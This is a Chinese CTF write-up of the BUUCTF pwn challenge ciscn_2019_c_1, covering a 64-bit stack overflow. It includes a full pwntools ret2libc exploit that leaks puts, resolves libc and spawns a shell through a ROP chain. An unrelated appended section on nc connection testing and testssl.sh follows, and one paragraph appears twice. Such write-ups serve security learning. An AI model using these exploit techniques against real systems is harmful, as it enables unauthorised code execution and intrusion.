BUUCTF ciscn_2019_c_1

本文详细介绍了如何利用64位程序中的栈溢出漏洞,通过ROP技术构造payload,绕过加密函数并获取程序的控制权。作者分享了三种不同的方法,包括使用异或逆元、利用x00截断和直接设置payload首字节为x00来避免加密。在解决过程中,作者遇到了puts函数地址获取错误和堆栈平衡问题,并给出了相应的解决方案。最后,文章讨论了当前网络安全挑战中创新思维的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一道积攒了很久才解出来的题,这道题大体不难,但是好多小细节呜呜呜。而且Libcsearcher里的libc库没更新(上篇博客讲了)。

这道题是BUUCTF上的ciscn_2019_c_1。标准的64位ROP流程,我也就分享一下自己的坎坷心路历程。

代码审计

4

老规矩checksec一下,只开了nx保护。

观察main函数

1

显然哦,只有输入1才有点用。

关键函数:encrypt()

2

发现一个栈溢出漏洞。ROP链的入口。

然后就是读取s的长度,在长度范围内对内容进行加密:也就是根据ascii码范围不同来进行异或操作。

这个解密函数会把读入的s给加密,把你的内容替换掉。

解题思路

1.通过gets()函数构造ROP链:

64位程序里面的传参方式是前六位参数为寄存器传参,故不能直接把参数写在栈里,需要通过gadgets来实现控制寄存器的值从而控制函数参数的值。

实用工具:ROPgadgets

ROPgadget --binary 文件名 

即可查看程序本身的gadget。这里只会用到第一个寄存器rdi,因此去找pop rdi的指令即可。

5

pop_rdi_addr = 0x400c83

然后通过 p64(pop_rdi_addr)+p64(参数值)+p64(函数地址) 即可调用函数

2.绕过加密函数,防止输入内容被篡改:

方法一:

关于绕过加密函数,网上异口同声的一种方法:

输入encrypt(s),也就是说先给要输入的内容异或一次,然后程序在给异或过的信息再异或一次。

异或的加法逆元,导致一个数与相同的另一个数异或两次,就会回到最初的值。

例如(a^b)^b=a

这种方法确实可以,不过感觉很繁琐,首先得把加密函数稍微改一下加进自己的exp里。

现在在网上基本上很难找到不同的解法了,感觉大家都流水线过一遍,也不想去思考或者也不愿意去分享自己更好的做法了。很可惜,李杜诗篇万口传,至今已觉不新鲜。

方法二:

也是偶然发现的,并没有加密,发过去代码依然成功运行并且得到了flag。

后来想了想,大概是因为64位里面的地址高位都是0,造成了\x00截断,于是strlen()函数读取的长度变得更短,没有威胁到我们payload后面关键的地址部分。

payload = b'a'*0x58+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

方法三:

根据第二种方法得到启发,直接令payload第一位为’\x00’,这样strlen()读取到的就是0,就不会进行加密。

payload = b'\x00'+b'a'*0x57+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

最终exp:

from pwn import *
from LibcSearcher import *
context.log_level='debug'
# r = remote('node4.buuoj.cn',29156)
r=process('/mnt/hgfs/ubuntu/BUUCTF/ciscn_2019_c_1')
elf = ELF('/mnt/hgfs/ubuntu/BUUCTF/ciscn_2019_c_1')
ret = 0x4006b9
pop_rdi_addr = 0x400c83
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.sym["main"]
r.sendlineafter(b"Input your choice!\n",b'1')
payload = b'\x00'+b'a'*0x57+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.recvuntil(b"encrypted\n")
r.sendline(payload)
r.recvuntil(b"Ciphertext\n")
#
r.recvuntil(b"\n")
#
puts_addr = u64(r.recvline()[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")
r.sendlineafter(b"Input your choice!\n",b'1')
#
payload1 = b'\x00'+b'a'*0x57+p64(ret)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system_addr)
#
r.recvuntil(b"encrypted\n")
r.sendline(payload1)
r.interactive()

遇到的问题:

1.没收到puts真实地址

出现在exp里第一个# #夹着的地方。

观察encrypt()函数应该是在ROP后先输出Ciphertext后就会返回,而返回地址已被我们劫持成puts()来打印出puts真实地址。因此我们的puts真实函数地址应该在 r.recvuntil(b"Ciphertext\n") 后就可以收到。但是我通过这样接收到的puts地址,Libcsearcher找到了几百个libc,明显说明地址错误。

后来才发现:

3

encrypt()函数在返回之前还调用了一次puts()函数来打印加密后的s,然后才retn。因此我们需要再接受一行,接下来收到的才是puts()的真实地址。

r.recvuntil(b"Ciphertext\n")
r.recvuntil(b"\n")
puts_addr = u64(r.recvline()[:-1].ljust(8,b'\0'))

2.依然GOT EOF

借鉴网上的wp,似乎是因为高版本ubuntu里调用system函数的时候需要满足堆栈平衡,就是说调用函数之前的字节数需要是16的倍数。之前我的payload是这样的:

payload1 = b'\x00'+b'a'*0x57+p64(pop_rdi_addr)+p64(bin_sh)+p64(system_addr)

这样的话在调用system函数之前一共有0x58+8*2=104个字节,不是16的倍数。

这种情况,就在填充字符后面加一个ret指令的地址就行,一个不行就找两个,ret的地址依然可以用ROPgadget工具找。

payload1 = b'\x00'+b'a'*0x57+p64(ret)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system_addr)

3.关于我的字符串前面都带一个b

我的python版本太高啦,是python3。似乎python3有八个字节的byte,所以它每次都会报这样的错误:

BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes

查看链接网址后提示在每个字符串前面加上b即不会出现错误警告
python3有八个字节的byte,所以它每次都会报这样的错误:

BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes

查看链接网址后提示在每个字符串前面加上b即不会出现错误警告

### BUUCTF中的网络连接测试方法 在网络渗透测试竞赛(CTF)中,`nc`(Netcat)是一个非常强大的工具,可以用于多种用途,包括端口扫描、文件传输以及简单的客户端/服务器通信。如果目标是在BUUCTF环境中测试网络连接,可以通过以下方式实现: #### 使用 `nc` 测试基本网络连通性 为了验证目标主机上的特定服务是否可用,可以利用 `nc` 命令尝试建立到该服务的连接。例如,假设需要测试 MySQL 数据库的服务状态,则可以直接通过指定 IP 地址和端口号来完成此操作[^2]。 ```bash nc <target_ip> 3306 ``` 上述命令会试图打开与 `<target_ip>` 的 TCP 连接至端口 3306 上运行的服务。如果没有收到任何错误消息或者能够进入交互模式,则说明远程机器上存在监听于该端口的服务,并允许来自当前系统的访问请求。 #### 执行简易吞吐量检测 当iperf不可用时,还可以借助组合使用`dd` 和 `nc` 来执行基础的数据传输速率测量实验[^1]。具体做法如下所示: ##### 步骤一:设置接收方 在一台计算机作为数据接受者启动 netcat 并重定向输入流保存成临时文件。 ```bash nc -lvp 12345 > received_data.bin ``` 这里 `-l` 表示开启侦听模式;`-v` 提供详细的日志输出以便观察进程详情;而最后面定义的是自选开放等待传入链接的本地端口号(此处设为12345)。 ##### 步骤二:配置发送方 另一台设备充当资料提供源角色,在那里先创建一段固定大小的内容再经由管道传递给远端地址。 ```bash dd if=/dev/zero bs=1M count=10 | nc <receiver_ip> 12345 ``` 在此处我们运用 dd 工具生成连续零字节序列模拟实际负载情况,其中参数解释分别为: - `if=/dev/zero`: 输入来源于操作系统特殊装置节点 /dev/zero ,它持续不断地供应无穷尽数量级的 NULL 字符串; - `bs=1M`: 单次读取写入缓冲区尺寸设定为每批次一百万位元组即兆比特(MB),从而加快整体流程效率减少分片次数影响统计准确性; - `count=10`: 总共重复十回前述动作构成最终提交总量大约等于十个MB规模的信息包体。 完成后可通过对比两头各自记录下的时间戳计算得出平均上传速度数值指标。 #### 加密协议分析 对于涉及SSL/TLS保护机制的目标站点而言,单独依靠常规手段可能不足以全面评估其安全性状况。此时可引入专门设计用来枚举支持算法列表并查找潜在漏洞缺陷的专业软件——Testssl.sh 。凭借它的强大功能集可以帮助参赛选手快速定位那些过期失效或是已被证明不安全的加密套件选项进而采取相应措施规避风险隐患[^3]。
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值